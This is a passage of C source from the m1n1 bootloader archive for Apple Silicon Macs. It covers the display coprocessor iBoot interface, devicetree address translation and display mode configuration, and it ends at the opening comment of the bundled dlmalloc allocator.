|| !system->sys_service) { printf("dcp-system: failed to initialize system-service\n"); goto err_shutdown; } return system; err_shutdown: afk_epic_shutdown_ep(system->epic); err_free: free(system); return NULL; } int dcp_system_shutdown(dcp_system_if_t *system) { if (system) { afk_epic_shutdown_ep(system->epic); free(system); } return 0; } m1n1-1.4.11/src/dcp/system_ep.h000066400000000000000000000006771453754430200161110ustar00rootroot00000000000000// SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2023 Janne Grunau */ #ifndef DCP_SYSTEM_EP_H #define DCP_SYSTEM_EP_H #include "../types.h" typedef struct dcp_dev dcp_dev_t; typedef struct dcp_system_if dcp_system_if_t; dcp_system_if_t *dcp_system_init(dcp_dev_t *dcp); int dcp_system_set_property_u64(dcp_system_if_t *system, const char *name, u64 value); int dcp_system_shutdown(dcp_system_if_t *system); #endif m1n1-1.4.11/src/dcp_iboot.c000066400000000000000000000154461453754430200152700ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "dcp_iboot.h" #include "afk.h" #include "assert.h" #include "firmware.h" #include "malloc.h" #include "string.h" #include "utils.h" #define DCP_IBOOT_ENDPOINT 0x23 #define DCP_IBOOT_NUM_SERVICES 1 #define TXBUF_LEN 0x4000 #define RXBUF_LEN 0x4000 struct txcmd { u32 op; u32 len; u32 unk1; u32 unk2; u8 payload[]; }; struct rxcmd { u32 op; u32 len; u8 payload[]; }; struct dcp_iboot_if { dcp_dev_t *dcp; afk_epic_ep_t *epic; int channel; bool enabled; union { u8 txbuf[TXBUF_LEN]; struct txcmd txcmd; }; union { u8 rxbuf[RXBUF_LEN]; struct rxcmd rxcmd; }; }; enum IBootCmd { IBOOT_SET_SURFACE = 1, IBOOT_SET_POWER = 2, IBOOT_GET_HPD = 3, IBOOT_GET_TIMING_MODES = 4, IBOOT_GET_COLOR_MODES = 5, IBOOT_SET_MODE = 6, IBOOT_SWAP_BEGIN = 15, IBOOT_SWAP_SET_LAYER = 16, IBOOT_SWAP_END = 18, }; struct get_hpd_resp { u8 hpd; u8 pad[3]; u32 timing_cnt; u32 color_cnt; }; struct get_tmode_resp { u32 count; dcp_timing_mode_t modes[]; }; struct get_cmode_resp { u32 count; dcp_color_mode_t modes[]; }; struct swap_start_resp { u32 unk1, unk2, unk3; u32 swap_id; u32 unk4; }; struct swap_set_layer_cmd { u32 unk; u32 layer_id; dcp_layer_t layer; dcp_rect_t src; dcp_rect_t dst; u32 unk2; } PACKED; struct swap_set_layer_cmd_v13_3 { u32 unk; u32 layer_id; dcp_layer_t layer; u32 unk3; // possibly part of layer u32 unk4; // possibly part of layer dcp_rect_t src; dcp_rect_t dst; u32 unk2; } PACKED; void dcp_ib_service_init(afk_epic_service_t *service, const char *name, const char *eclass, s64 unit) { dcp_iboot_if_t *iboot = service->intf; if (strncmp("disp0-service", eclass, 32) == 0) { if (iboot->enabled) { printf("dcp-iboot: service init for enabled 'disp0-service' on channel: %d\n", iboot->channel); return; } iboot->enabled = true; iboot->channel = service->channel; } UNUSED(name); UNUSED(unit); } static const afk_epic_service_ops_t iboot_service_ops[] = { { .name = "disp0-service", .init = dcp_ib_service_init, }, {}, }; dcp_iboot_if_t *dcp_ib_init(dcp_dev_t *dcp) { dcp_iboot_if_t *iboot = calloc(1, sizeof(dcp_iboot_if_t)); if (!iboot) return NULL; iboot->dcp = dcp; iboot->epic = afk_epic_start_ep(dcp->afk, DCP_IBOOT_ENDPOINT, iboot_service_ops, false); if (!iboot->epic) { printf("dcp-iboot: failed to initialize EPIC\n"); goto err_free; } int err = afk_epic_start_interface(iboot->epic, iboot, DCP_IBOOT_NUM_SERVICES, TXBUF_LEN, RXBUF_LEN); if (err < 0 || !iboot->enabled) { printf("dcp-iboot: failed to initialize disp0 service\n"); goto err_shutdown; } return iboot; err_shutdown: afk_epic_shutdown_ep(iboot->epic); err_free: free(iboot); return NULL; } int dcp_ib_shutdown(dcp_iboot_if_t *iboot) { afk_epic_shutdown_ep(iboot->epic); free(iboot); return 0; } static int dcp_ib_cmd(dcp_iboot_if_t *iboot, int op, size_t in_size) { size_t rxsize = RXBUF_LEN; assert(in_size <= TXBUF_LEN - sizeof(struct txcmd)); iboot->txcmd.op = op; iboot->txcmd.len = sizeof(struct txcmd) + in_size; return afk_epic_command(iboot->epic, iboot->channel, 0xc0, iboot->txbuf, sizeof(struct txcmd) + in_size, iboot->rxbuf, &rxsize); } int dcp_ib_set_surface(dcp_iboot_if_t *iboot, dcp_layer_t *layer) { dcp_layer_t *cmd = (void *)iboot->txcmd.payload; *cmd = *layer; return dcp_ib_cmd(iboot, IBOOT_SET_SURFACE, sizeof(*layer)); } int dcp_ib_set_power(dcp_iboot_if_t *iboot, bool power) { u32 *pwr = (void *)iboot->txcmd.payload; *pwr = power; return dcp_ib_cmd(iboot, IBOOT_SET_POWER, 1); } int dcp_ib_get_hpd(dcp_iboot_if_t *iboot, int *timing_cnt, int *color_cnt) { struct get_hpd_resp *resp = (void *)iboot->rxcmd.payload; int ret = dcp_ib_cmd(iboot, IBOOT_GET_HPD, 0); if (ret < 0) return ret; if (timing_cnt) *timing_cnt = resp->timing_cnt; if (color_cnt) *color_cnt = resp->color_cnt; return !!resp->hpd; } int dcp_ib_get_timing_modes(dcp_iboot_if_t *iboot, dcp_timing_mode_t **modes) { struct get_tmode_resp *resp = (void *)iboot->rxcmd.payload; int ret = dcp_ib_cmd(iboot, IBOOT_GET_TIMING_MODES, 0); if (ret < 0) return ret; *modes = resp->modes; return resp->count; } int dcp_ib_get_color_modes(dcp_iboot_if_t *iboot, dcp_color_mode_t **modes) { struct get_cmode_resp *resp = (void *)iboot->rxcmd.payload; int ret = dcp_ib_cmd(iboot, IBOOT_GET_COLOR_MODES, 0); if (ret < 0) return ret; *modes = resp->modes; return resp->count; } int dcp_ib_set_mode(dcp_iboot_if_t *iboot, dcp_timing_mode_t *tmode, dcp_color_mode_t *cmode) { struct { dcp_timing_mode_t tmode; dcp_color_mode_t cmode; } *cmd = (void *)iboot->txcmd.payload; cmd->tmode = *tmode; cmd->cmode = *cmode; return dcp_ib_cmd(iboot, IBOOT_SET_MODE, sizeof(*cmd)); } int dcp_ib_swap_begin(dcp_iboot_if_t *iboot) { struct swap_start_resp *resp = (void *)iboot->rxcmd.payload; int ret = dcp_ib_cmd(iboot, IBOOT_SWAP_BEGIN, 0); if (ret < 0) return ret; return resp->swap_id; } static int swap_set_layer_v12_3(dcp_iboot_if_t *iboot, int layer_id, dcp_layer_t *layer, dcp_rect_t *src_rect, dcp_rect_t *dst_rect) { struct swap_set_layer_cmd *cmd = (void *)iboot->txcmd.payload; memset(cmd, 0, sizeof(*cmd)); cmd->layer_id = layer_id; cmd->layer = *layer; cmd->src = *src_rect; cmd->dst = *dst_rect; return dcp_ib_cmd(iboot, IBOOT_SWAP_SET_LAYER, sizeof(*cmd)); } static int swap_set_layer_v13_3(dcp_iboot_if_t *iboot, int layer_id, dcp_layer_t *layer, dcp_rect_t *src_rect, dcp_rect_t *dst_rect) { struct swap_set_layer_cmd_v13_3 *cmd = (void *)iboot->txcmd.payload; memset(cmd, 0, sizeof(*cmd)); cmd->layer_id = layer_id; cmd->layer = *layer; cmd->src = *src_rect; cmd->dst = *dst_rect; return dcp_ib_cmd(iboot, IBOOT_SWAP_SET_LAYER, sizeof(*cmd)); } int dcp_ib_swap_set_layer(dcp_iboot_if_t *iboot, int layer_id, dcp_layer_t *layer, dcp_rect_t *src_rect, dcp_rect_t *dst_rect) { if (os_firmware.version < V13_3) return swap_set_layer_v12_3(iboot, layer_id, layer, src_rect, dst_rect); else return swap_set_layer_v13_3(iboot, layer_id, layer, src_rect, dst_rect); } int dcp_ib_swap_end(dcp_iboot_if_t *iboot) { memset(iboot->txcmd.payload, 0, 12); return dcp_ib_cmd(iboot, IBOOT_SWAP_END, 12); } m1n1-1.4.11/src/dcp_iboot.h000066400000000000000000000043661453754430200152740ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DCP_IBOOT_H #define DCP_IBOOT_H #include "dcp.h" typedef struct dcp_iboot_if dcp_iboot_if_t; enum DCPEOTF { EOTF_GAMMA_SDR = 1, EOTF_GAMMA_HDR = 2, }; enum DCPEncoding { ENC_RGB = 1, ENC_YCBCR_444 = 3, ENC_YCBCR_422 = 4, ENC_YCBCR_420 = 5, }; enum DCPColorimetry { CLR_BT601_709 = 1, CLR_BT2020 = 2, CLR_DCIP3 = 3, }; enum DCPSurfaceFmt { FMT_BGRA = 1, FMT_RGBA = 3, FMT_w18p = 4, FMT_444v = 6, FMT_422v = 7, FMT_420v = 8, FMT_w30r = 9, FMT_w40a = 10, }; enum DCPTransform { XFRM_NONE = 0, XFRM_XFLIP = 1, XFRM_YFLIP = 2, XFRM_ROT_90 = 3, XFRM_ROT_180 = 4, XFRM_ROT_270 = 5, }; enum AddrFormat { ADDR_PLANAR = 1, ADDR_TILED = 2, ADDR_AGX = 3, }; typedef struct { u32 valid; u32 width; u32 height; u32 fps; u8 pad[8]; } PACKED dcp_timing_mode_t; typedef struct { u32 valid; u32 colorimetry; u32 eotf; u32 encoding; u32 bpp; u8 pad[4]; } PACKED dcp_color_mode_t; typedef struct { u32 unk1; u64 addr; u32 tile_size; u32 stride; u32 unk2[4]; u32 addr_format; u32 unk3; } PACKED dcp_plane_t; typedef struct { dcp_plane_t planes[3]; u32 unk; u32 plane_cnt; u32 width; u32 height; u32 surface_fmt; u32 colorspace; u32 eotf; u8 transform; u8 padding[3]; } PACKED dcp_layer_t; typedef struct { u32 w, h, x, y; } PACKED dcp_rect_t; dcp_iboot_if_t *dcp_ib_init(dcp_dev_t *dcp); int dcp_ib_shutdown(dcp_iboot_if_t *iboot); int dcp_ib_set_surface(dcp_iboot_if_t *iboot, dcp_layer_t *layer); int dcp_ib_set_power(dcp_iboot_if_t *iboot, bool power); int dcp_ib_get_hpd(dcp_iboot_if_t *iboot, int *timing_cnt, int *color_cnt); int dcp_ib_get_timing_modes(dcp_iboot_if_t *iboot, dcp_timing_mode_t **modes); int dcp_ib_get_color_modes(dcp_iboot_if_t *iboot, dcp_color_mode_t **modes); int dcp_ib_set_mode(dcp_iboot_if_t *iboot, dcp_timing_mode_t *timing, dcp_color_mode_t *color); int dcp_ib_swap_begin(dcp_iboot_if_t *iboot); int dcp_ib_swap_set_layer(dcp_iboot_if_t *iboot, int layer_id, dcp_layer_t *layer, dcp_rect_t *src_rect, dcp_rect_t *dst_rect); int dcp_ib_swap_end(dcp_iboot_if_t *iboot); #endif m1n1-1.4.11/src/devicetree.c000066400000000000000000000035351453754430200154410ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "devicetree.h" #include "libfdt/libfdt.h" void dt_parse_ranges(void *dt, int node, struct dt_ranges_tbl *ranges) { int len; const struct fdt_property *ranges_prop = fdt_get_property(dt, node, "ranges", &len); if (ranges_prop && len > 0) { int idx = 0; int num_entries = len / sizeof(fdt64_t); if (num_entries > DT_MAX_RANGES) num_entries = DT_MAX_RANGES; const fdt64_t *entry = (const fdt64_t *)ranges_prop->data; for (int i = 0; i < num_entries; ++i) { u64 start = fdt64_ld(entry++); u64 parent = fdt64_ld(entry++); u64 size = fdt64_ld(entry++); if (size) { ranges[idx].start = start; ranges[idx].parent = parent; ranges[idx].size = size; idx++; } } } } u64 dt_translate(struct dt_ranges_tbl *ranges, const fdt64_t *reg) { u64 addr = fdt64_ld(reg); for (int idx = 0; idx < DT_MAX_RANGES; ++idx) { if (ranges[idx].size == 0) break; if (addr >= ranges[idx].start && addr < ranges[idx].start + ranges[idx].size) return ranges[idx].parent - ranges[idx].start + addr; } return addr; } u64 dt_get_address(void *dt, int node) { int parent = fdt_parent_offset(dt, node); // find parent with "ranges" property while (parent >= 0) { if (fdt_getprop(dt, parent, "ranges", NULL)) break; parent = fdt_parent_offset(dt, parent); } if (parent < 0) return 0; // parse ranges for address translation struct dt_ranges_tbl ranges[DT_MAX_RANGES] = {0}; dt_parse_ranges(dt, parent, ranges); const fdt64_t *reg = fdt_getprop(dt, node, "reg", NULL); if (!reg) return 0; return dt_translate(ranges, reg); } m1n1-1.4.11/src/devicetree.h000066400000000000000000000006341453754430200154430ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DEVICETREE_H #define DEVICETREE_H #include "types.h" #include "libfdt/libfdt.h" #define DT_MAX_RANGES 8 struct dt_ranges_tbl { u64 start; u64 parent; u64 size; }; void dt_parse_ranges(void *dt, int node, struct dt_ranges_tbl *ranges); u64 dt_translate(struct dt_ranges_tbl *ranges, const fdt64_t *reg); u64 dt_get_address(void *dt, int node); #endif m1n1-1.4.11/src/display.c000066400000000000000000000464531453754430200147750ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "../build/build_cfg.h" #include "display.h" #include "adt.h" #include "assert.h" #include "dcp.h" #include "dcp_iboot.h" #include "fb.h" #include "memory.h" #include "soc.h" #include "string.h" #include "utils.h" #include "xnuboot.h" #define DISPLAY_STATUS_DELAY 100 #define DISPLAY_STATUS_RETRIES(dptx) ((dptx) ? 100 : 20) #define COMPARE(a, b) \ if ((a) > (b)) { \ *best = modes[i]; \ continue; \ } else if ((a) < (b)) { \ continue; \ } static dcp_dev_t *dcp; static dcp_iboot_if_t *iboot; static u64 fb_dva; static u64 fb_size; bool display_is_external; bool display_is_dptx; static const display_config_t display_config_m1 = { .dcp = "/arm-io/dcp", .dcp_dart = "/arm-io/dart-dcp", .disp_dart = "/arm-io/dart-disp0", .pmgr_dev = "DISP0_CPU0", .dcp_alias = "dcp", }; #define USE_DCPEXT 1 static const display_config_t display_config_m2 = { #if USE_DCPEXT .dcp = "/arm-io/dcpext", .dcp_dart = "/arm-io/dart-dcpext", .disp_dart = "/arm-io/dart-dispext0", .pmgr_dev = "DISPEXT_CPU0", .dcp_alias = "dcpext", .dcp_index = 1, #else .dcp = "/arm-io/dcp", .dcp_dart = "/arm-io/dart-dcp", .disp_dart = "/arm-io/dart-disp0", .dp2hdmi_gpio = "/arm-io/dp2hdmi-gpio", .dptx_phy = "/arm-io/dptx-phy", .pmgr_dev = "DISP0_CPU0", .dcp_alias = "dcp", .dcp_index = 0, #endif .dp2hdmi_gpio = "/arm-io/dp2hdmi-gpio", .dptx_phy = "/arm-io/dptx-phy", .num_dptxports = 2, }; static const display_config_t display_config_m2_pro_max = { #if USE_DCPEXT .dcp = "/arm-io/dcpext0", .dcp_dart = "/arm-io/dart-dcpext0", .disp_dart = "/arm-io/dart-dispext0", .pmgr_dev = "DISPEXT0_CPU0", .dcp_alias = "dcpext0", .dcp_index = 1, .num_dptxports = 2, #else .dcp = "/arm-io/dcp0", .dcp_dart = "/arm-io/dart-dcp0", .disp_dart = "/arm-io/dart-disp0", .pmgr_dev = "DISP0_CPU0", .dcp_alias = "dcp", .dcp_index = 0, .num_dptxports = 1, #endif .dp2hdmi_gpio = "/arm-io/dp2hdmi-gpio0", .dptx_phy = "/arm-io/lpdptx-phy0", }; static const display_config_t display_config_m2_ultra = { .dcp = "/arm-io/dcpext4", .dcp_dart = "/arm-io/dart-dcpext4", .disp_dart = "/arm-io/dart-dispext4", .dp2hdmi_gpio = "/arm-io/dp2hdmi-gpio1", .dptx_phy = "/arm-io/lpdptx-phy1", .pmgr_dev = "DISPEXT0_CPU0", .dcp_alias = "dcpext4", .dcp_index = 1, .num_dptxports = 2, .die = 1, }; #define abs(x) ((x) >= 0 ? (x) : -(x)) u64 display_mode_fb_size(dcp_timing_mode_t *mode) { // assume 4 byte per pixel (either BGRA x2r10b10g10) return mode->width * mode->height * 4; } static void display_choose_timing_mode(dcp_timing_mode_t *modes, int cnt, dcp_timing_mode_t *best, dcp_timing_mode_t *want) { *best = modes[0]; for (int i = 1; i < cnt; i++) { COMPARE(modes[i].valid, best->valid); if (want && want->valid) { COMPARE(modes[i].width == want->width && modes[i].height == want->height, best->width == want->width && best->height == want->height); COMPARE(-abs((long)modes[i].fps - (long)want->fps), -abs((long)best->fps - (long)want->fps)); } else { COMPARE(display_mode_fb_size(&modes[i]) <= fb_size, display_mode_fb_size(best) <= fb_size); } COMPARE(modes[i].width <= 1920, best->width <= 1920); COMPARE(modes[i].height <= 1200, best->height <= 1200); COMPARE(modes[i].fps <= 60 << 16, best->fps <= 60 << 16); COMPARE(modes[i].width, best->width); COMPARE(modes[i].height, best->height); COMPARE(modes[i].fps, best->fps); } printf("display: timing mode: valid=%d %dx%d %d.%02d Hz\n", best->valid, best->width, best->height, best->fps >> 16, ((best->fps & 0xffff) * 100 + 0x7fff) >> 16); } static void display_choose_color_mode(dcp_color_mode_t *modes, int cnt, dcp_color_mode_t *best) { *best = modes[0]; for (int i = 1; i < cnt; i++) { COMPARE(modes[i].valid, best->valid); COMPARE(modes[i].bpp <= 32, best->bpp <= 32); COMPARE(modes[i].bpp, best->bpp); COMPARE(-modes[i].colorimetry, -best->colorimetry); COMPARE(-modes[i].encoding, -best->encoding); COMPARE(-modes[i].eotf, -best->eotf); } printf("display: color mode: valid=%d colorimetry=%d eotf=%d encoding=%d bpp=%d\n", best->valid, best->colorimetry, best->eotf, best->encoding, best->bpp); } int display_get_vram(u64 *paddr, u64 *size) { int ret = 0; int adt_path[4]; int node = adt_path_offset_trace(adt, "/vram", adt_path); if (node < 0) { printf("display: '/vram' not found\n"); return -1; } int pp = 0; while (adt_path[pp]) pp++; adt_path[pp + 1] = 0; ret = adt_get_reg(adt, adt_path, "reg", 0, paddr, size); if (ret < 0) { printf("display: failed to read /vram/reg\n"); return -1; } if (*paddr != cur_boot_args.video.base) { printf("display: vram does not match boot_args.video.base\n"); return -1; } return 0; } static uintptr_t display_map_fb(uintptr_t iova, u64 paddr, u64 size) { if (iova == 0) { u64 iova_disp0 = 0; u64 iova_dcp = 0; // start scanning for free iova space on vm-base iova_dcp = dart_find_iova(dcp->dart_dcp, dart_vm_base(dcp->dart_dcp), size); if (DART_IS_ERR(iova_dcp)) { printf("display: failed to find IOVA for fb of %06zx bytes (dcp)\n", size); return iova_dcp; } // try to map the fb to the same IOVA on disp0 iova_disp0 = dart_find_iova(dcp->dart_disp, iova_dcp, size); if (DART_IS_ERR(iova_disp0)) { printf("display: failed to find IOVA for fb of %06zx bytes (disp0)\n", size); return iova_disp0; } // assume this results in the same IOVA, not sure if this is required but matches what iboot // does on other models. if (iova_disp0 != iova_dcp) { printf("display: IOVA mismatch for fb between dcp (%08lx) and disp0 (%08lx)\n", (u64)iova_dcp, (u64)iova_disp0); return DART_PTR_ERR; } iova = iova_dcp; } int ret = dart_map(dcp->dart_disp, iova, (void *)paddr, size); if (ret < 0) { printf("display: failed to map fb to dart-disp0\n"); return DART_PTR_ERR; } ret = dart_map(dcp->dart_dcp, iova, (void *)paddr, size); if (ret < 0) { printf("display: failed to map fb to dart-dcp\n"); dart_unmap(dcp->dart_disp, iova, size); return DART_PTR_ERR; } return iova; } const display_config_t *display_get_config(void) { if (adt_is_compatible(adt, 0, "J473AP")) return &display_config_m2; else if (adt_is_compatible(adt, 0, "J474sAP") || adt_is_compatible(adt, 0, "J475cAP")) return &display_config_m2_pro_max; else if (adt_is_compatible(adt, 0, "J180dAP") || adt_is_compatible(adt, 0, "J475dAP")) return &display_config_m2_ultra; else return &display_config_m1; } int display_start_dcp(void) { if (iboot) return 0; #ifdef NO_DISPLAY printf("display: NO_DISPLAY!\n"); return 0; #endif const display_config_t *disp_cfg = display_get_config(); display_is_dptx = !!disp_cfg->dptx_phy[0]; dcp = dcp_init(disp_cfg); if (!dcp) { printf("display: failed to initialize DCP\n"); return -1; } // determine frame buffer PA and size from "/vram" u64 pa, size; if (display_get_vram(&pa, &size)) { // use a safe fb_size fb_size = cur_boot_args.video.stride * cur_boot_args.video.height * ((cur_boot_args.video.depth + 7) / 8); } else { fb_size = size; } // Find the framebuffer DVA fb_dva = dart_search(dcp->dart_disp, (void *)cur_boot_args.video.base); // framebuffer is not mapped on the M1 Ultra Mac Studio if (DART_IS_ERR(fb_dva)) fb_dva = display_map_fb(0, pa, size); if (DART_IS_ERR(fb_dva)) { printf("display: failed to find display DVA\n"); fb_dva = 0; dcp_shutdown(dcp, false); return -1; } iboot = dcp_ib_init(dcp); if (!iboot) { printf("display: failed to initialize DCP iBoot interface\n"); dcp_shutdown(dcp, false); return -1; } return 0; } struct display_options { bool retina; }; int display_parse_mode(const char *config, dcp_timing_mode_t *mode, struct display_options *opts) { memset(mode, 0, sizeof(*mode)); if (!config || !strcmp(config, "auto")) return 0; const char *s_w = config; const char *s_h = strchr(config, 'x'); const char *s_fps = strchr(config, '@'); if (s_w && s_h) { mode->width = atol(s_w); mode->height = atol(s_h + 1); mode->valid = mode->width && mode->height; } if (s_fps) { mode->fps = atol(s_fps + 1) << 16; const char *s_fps_frac = strchr(s_fps + 1, '.'); if (s_fps_frac) { // Assumes two decimals... mode->fps += (atol(s_fps_frac + 1) << 16) / 100; } } const char *option = config; while (option && opts) { if (!strncmp(option + 1, "retina", 6)) opts->retina = true; option = strchr(option + 1, ','); } printf("display: want mode: valid=%d %dx%d %d.%02d Hz\n", mode->valid, mode->width, mode->height, mode->fps >> 16, ((mode->fps & 0xffff) * 100 + 0x7fff) >> 16); return mode->valid; } static int display_swap(u64 iova, u32 stride, u32 width, u32 height) { int ret; dcp_layer_t layer = { .planes = {{ .addr = iova, .stride = stride, .addr_format = ADDR_PLANAR, }}, .plane_cnt = 1, .width = width, .height = height, .surface_fmt = FMT_w30r, .colorspace = 2, .eotf = EOTF_GAMMA_SDR, .transform = XFRM_NONE, }; if ((ret = dcp_ib_set_surface(iboot, &layer)) < 0) { printf("display: failed to set surface\n"); return -1; } return 0; } int display_configure(const char *config) { dcp_timing_mode_t want; struct display_options opts = {0}; #ifdef NO_DISPLAY printf("display: skip configuration (NO_DISPLAY)\n"); return 0; #endif display_parse_mode(config, &want, &opts); u64 start_time = get_ticks(); int ret = display_start_dcp(); if (ret < 0) return ret; // connect dptx if necessary if (display_is_dptx) { ret = dcp_connect_dptx(dcp); if (ret < 0) return ret; } if (!display_is_external) { // Sonoma bug workaround: Power on internal panel early if ((ret = dcp_ib_set_power(iboot, true)) < 0) printf("display: failed to set power on (continuing anyway)\n"); } // Detect if display is connected int timing_cnt, color_cnt; int hpd = 0, retries = 0; /* After boot DCP does not immediately report a connected display. Retry getting display * information for 2 seconds. */ while (retries++ < (DISPLAY_STATUS_RETRIES(display_is_dptx))) { dcp_work(dcp); hpd = dcp_ib_get_hpd(iboot, &timing_cnt, &color_cnt); if (hpd < 0) ret = hpd; else if (hpd && timing_cnt && color_cnt) break; if (retries < DISPLAY_STATUS_RETRIES(display_is_dptx)) mdelay(DISPLAY_STATUS_DELAY); } printf("display: waited %d ms for display status\n", (retries - 1) * DISPLAY_STATUS_DELAY); if (ret < 0) { printf("display: failed to get display status\n"); return 0; } printf("display: connected:%d timing_cnt:%d color_cnt:%d\n", hpd, timing_cnt, color_cnt); if (!hpd || !timing_cnt || !color_cnt) return 0; // Power on if ((ret = dcp_ib_set_power(iboot, true)) < 0) { printf("display: failed to set power\n"); return ret; } // Sonoma bug workaround mdelay(100); // Find best modes dcp_timing_mode_t *tmodes, tbest; if ((ret = dcp_ib_get_timing_modes(iboot, &tmodes)) < 0) { printf("display: failed to get timing modes\n"); return -1; } assert(ret == timing_cnt); display_choose_timing_mode(tmodes, timing_cnt, &tbest, &want); dcp_color_mode_t *cmodes, cbest; if ((ret = dcp_ib_get_color_modes(iboot, &cmodes)) < 0) { printf("display: failed to get color modes\n"); return -1; } assert(ret == color_cnt); display_choose_color_mode(cmodes, color_cnt, &cbest); // Set mode if ((ret = dcp_ib_set_mode(iboot, &tbest, &cbest)) < 0) { printf("display: failed to set mode. trying again...\n"); mdelay(500); if ((ret = dcp_ib_set_mode(iboot, &tbest, &cbest)) < 0) { printf("display: failed to set mode twice.\n"); return ret; } } u64 fb_pa = cur_boot_args.video.base; u64 tmp_dva = 0; size_t size = ALIGN_UP(tbest.width * tbest.height * ((cbest.bpp + 7) / 8) + 24 * SZ_16K, SZ_16K); if (fb_size < size) { printf("display: current framebuffer is too small for new mode\n"); /* rtkit uses 0x10000000 as DVA offset, FB starts in the first page */ if ((s64)size > 7 * SZ_32M) { printf("display: not enough reserved L2 DVA space for fb size 0x%zx\n", size); return -1; } fb_pa = top_of_memory_alloc(size); memset((void *)fb_pa, 0, size); tmp_dva = iova_alloc(dcp->iovad_dcp, size); tmp_dva = display_map_fb(tmp_dva, fb_pa, size); if (DART_IS_ERR(tmp_dva)) { printf("display: failed to map new fb\n"); return -1; } // Swap! u32 stride = tbest.width * 4; ret = display_swap(tmp_dva, stride, tbest.width, tbest.height); if (ret < 0) return ret; /* wait for swap durations + 1ms */ u32 delay = (((1000 << 16) + tbest.fps - 1) / tbest.fps) + 1; mdelay(delay); dart_unmap(dcp->dart_disp, fb_dva, fb_size); dart_unmap(dcp->dart_dcp, fb_dva, fb_size); fb_dva = display_map_fb(fb_dva, fb_pa, size); if (DART_IS_ERR(fb_dva)) { printf("display: failed to map new fb\n"); fb_dva = 0; return -1; } fb_size = size; mmu_map_framebuffer(fb_pa, fb_size); /* update ADT with the physical address of the new framebuffer */ u64 fb_reg[2] = {fb_pa, size}; int node = adt_path_offset(adt, "vram"); if (node >= 0) { // TODO: adt_set_reg(adt, node, "vram", fb_pa, size);? ret = adt_setprop(adt, node, "reg", &fb_reg, sizeof(fb_reg)); if (ret < 0) printf("display: failed to update '/vram'\n"); } node = adt_path_offset(adt, "/chosen/carveout-memory-map"); if (node >= 0) { // TODO: adt_set_reg(adt, node, "vram", fb_pa, size);? ret = adt_setprop(adt, node, "region-id-14", &fb_reg, sizeof(fb_reg)); if (ret < 0) printf("display: failed to update '/chosen/carveout-memory-map/region-id-14'\n"); } } // Swap! u32 stride = tbest.width * 4; ret = display_swap(fb_dva, stride, tbest.width, tbest.height); if (ret < 0) return ret; printf("display: swapped! (swap_id=%d)\n", ret); // Wait until the swap completes before powering down DCP // 50ms is too low, 100 works, 150 for good measure mdelay(150); bool reinit = false; if (fb_pa != cur_boot_args.video.base || cur_boot_args.video.stride != stride || cur_boot_args.video.width != tbest.width || cur_boot_args.video.height != tbest.height || cur_boot_args.video.depth != 30) { cur_boot_args.video.base = fb_pa; cur_boot_args.video.stride = stride; cur_boot_args.video.width = tbest.width; cur_boot_args.video.height = tbest.height; cur_boot_args.video.depth = 30 | (opts.retina ? FB_DEPTH_FLAG_RETINA : 0); reinit = true; } if (!display_is_external && !(cur_boot_args.video.depth & FB_DEPTH_FLAG_RETINA)) { cur_boot_args.video.depth |= FB_DEPTH_FLAG_RETINA; reinit = true; } if (reinit) fb_reinit(); /* Update for python / subsequent stages */ memcpy((void *)boot_args_addr, &cur_boot_args, sizeof(cur_boot_args)); if (tmp_dva) { // unmap / free temporary dva dart_unmap(dcp->dart_disp, tmp_dva, size); dart_unmap(dcp->dart_dcp, tmp_dva, size); iova_free(dcp->iovad_dcp, tmp_dva, size); } u64 msecs = ticks_to_msecs(get_ticks() - start_time); printf("display: Modeset took %ld ms\n", msecs); return 1; } int display_init(void) { const char *disp_path; if (adt_is_compatible(adt, 0, "J180dAP") || adt_is_compatible(adt, 0, "J475dAP")) disp_path = "/arm-io/dispext4"; else disp_path = "/arm-io/disp0"; int node = adt_path_offset(adt, disp_path); if (node < 0) { printf("%s node not found!\n", disp_path); return -1; } display_is_external = adt_getprop(adt, node, "external", NULL); if (display_is_external) printf("display: Display is external\n"); else printf("display: Display is internal\n"); if (cur_boot_args.video.width == 640 && cur_boot_args.video.height == 1136) { printf("display: Dummy framebuffer found, initializing display\n"); return display_configure(NULL); } else if (display_is_external) { printf("display: External display found, reconfiguring\n"); return display_configure(NULL); } else if (!(cur_boot_args.video.depth & FB_DEPTH_FLAG_RETINA)) { printf("display: Internal display with non-retina flag, assuming Sonoma bug and " "reconfiguring\n"); fb_clear_direct(); // Old m1n1 stage1 ends up with an ugly logo situation, clear it. return display_configure(NULL); } else { printf("display: Display is already initialized (%ldx%ld)\n", cur_boot_args.video.width, cur_boot_args.video.height); return 0; } } void display_shutdown(dcp_shutdown_mode mode) { if (iboot) { dcp_ib_shutdown(iboot); switch (mode) { case DCP_QUIESCED: printf("display: Quiescing DCP (unconditional)\n"); dcp_shutdown(dcp, false); break; case DCP_SLEEP_IF_EXTERNAL: if (!display_is_external) printf("display: Quiescing DCP (internal)\n"); else printf("display: Sleeping DCP (external)\n"); dcp_shutdown(dcp, display_is_external); break; case DCP_SLEEP: printf("display: Sleeping DCP (unconditional)\n"); dcp_shutdown(dcp, true); break; } iboot = NULL; } } m1n1-1.4.11/src/display.h000066400000000000000000000007311453754430200147670ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DISPLAY_H #define DISPLAY_H #include "dcp.h" #include "types.h" typedef enum _dcp_shutdown_mode { DCP_QUIESCED = 0, DCP_SLEEP_IF_EXTERNAL = 1, DCP_SLEEP = 2, } dcp_shutdown_mode; extern bool display_is_external; int display_init(void); int display_start_dcp(void); int display_configure(const char *config); void display_shutdown(dcp_shutdown_mode mode); const display_config_t *display_get_config(void); #endif m1n1-1.4.11/src/dlmalloc/000077500000000000000000000000001453754430200147375ustar00rootroot00000000000000m1n1-1.4.11/src/dlmalloc/malloc.c000066400000000000000000006605261453754430200163710ustar00rootroot00000000000000#include "malloc_config.h" /* This is a version (aka dlmalloc) of malloc/free/realloc written by Doug Lea and released to the public domain, as explained at http://creativecommons.org/publicdomain/zero/1.0/ Send questions, comments, complaints, performance data, etc to dl@cs.oswego.edu * Version 2.8.6 Wed Aug 29 06:57:58 2012 Doug Lea Note: There may be an updated version of this malloc obtainable at ftp://gee.cs.oswego.edu/pub/misc/malloc.c Check before installing! * Quickstart This library is all in one file to simplify the 